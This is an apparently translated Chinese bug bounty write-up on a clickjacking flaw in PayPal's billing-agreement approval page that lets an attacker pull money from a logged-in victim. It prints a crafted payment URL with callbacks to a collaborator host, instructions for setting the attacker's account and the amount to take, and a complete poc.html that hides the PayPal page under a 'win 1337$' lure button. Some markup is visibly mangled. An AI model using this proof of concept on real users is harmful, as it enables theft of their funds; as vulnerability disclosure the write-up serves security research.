0X00 概括

7 个月前，我向 PayPal 漏洞赏金计划报告了一个安全问题，攻击者可以利用 Clickjacking 窃取用户的资金，

点击劫持，也称为“UI 补救攻击”，是指攻击者使用多个透明或不透明的层来诱使用户在打算点击顶层页面时点击另一个页面上的按钮或链接。因此，攻击者“劫持”了针对其页面的点击，并将它们路由到另一个页面，该页面很可能由另一个应用程序、域或两者拥有。

参考：https ://owasp.org/www-community/attacks/Clickjacking

我发现攻击者可以从 Paypal 帐户中窃取资金。一个老问题：

https://www.paypal.com/agreements/approve

上的点击劫持在几年前以 N/A 的形式关闭，并且没有人能够成功利用它，（我猜）。

此端点是为计费协议设计的，它应该只接受billingAgreementToken. 但在我的深入测试中，我发现我们可以传递另一种token类型，这会导致从受害者的 PayPal 账户中窃取资金。

如图所示，攻击者能够在 iframe 中加载一个敏感的paypal.com端点，当攻击者点击“near to click here”时，他会购买一些东西。

当然，受害者应该在浏览器中登录

POC证明

"https://www.paypal.com/cgi-bin/webscr?address1=sectesting&address2=sectesting02&address_override=true&amount_1=1&business=&cancel_return=https://xxxxxx.burpcollaborator.net/cancel_return&city=barika&cmd=_cart&country=DZ¤cy_code=USD&email=@gmail.com&first_name=attacker&invoice=marketplace133703&item_name_1=attacker&item_number_1=133788802&last_name=attacker¬ify_url=https://xxxxxx.burpcollaborator.net/notify_url&quantity_1=1&return=https://xxxxxx.burpcollaborator.net/return&state=05&upload=1&zip=1337"

1.在上面的链接中，business将攻击者的 Paypal 电子邮件和return¬ify_url更改为您的主机以接收 HTTP 请求。以及amount_1 您想从受害者的帐户中窃取多少钱！

并且您可以将名字/姓氏和地址更改为您自己的信息，当您这样做时，此帐单全名/地址将在受害者帐户中注册！

2. 现在使用 CURL 发送 GET 请求，并 grep 令牌值。

3.把这个poc.html上传到你的主机上，把你的token放在参数ba_token中。

<html><head>    <title>POCtitle>head><body>   <center> <img src="https://i.ibb.co/bWqXsQT/Mnanauk-2020-Chef-Mnanauk.jpg">center> <style>iframe {   width: 1920px;  height: 1080px;  position: absolute;  top:0; left:-20px;  opacity: 1.01;   z-index: 1;}style><iframe src="https://www.paypal.com/agreements/approve?nolegacy=1&ba_token=">iframe><button style="position: fixed; display: inline; z-index: 10; left: 701px; top: 520px;">Click here  to win 1337$ => button>body>html>

注意：实际攻击中opacity应该为0，你可以改变它。

现在在浏览器中登录您的 PayPal，然后打开 HTML 页面。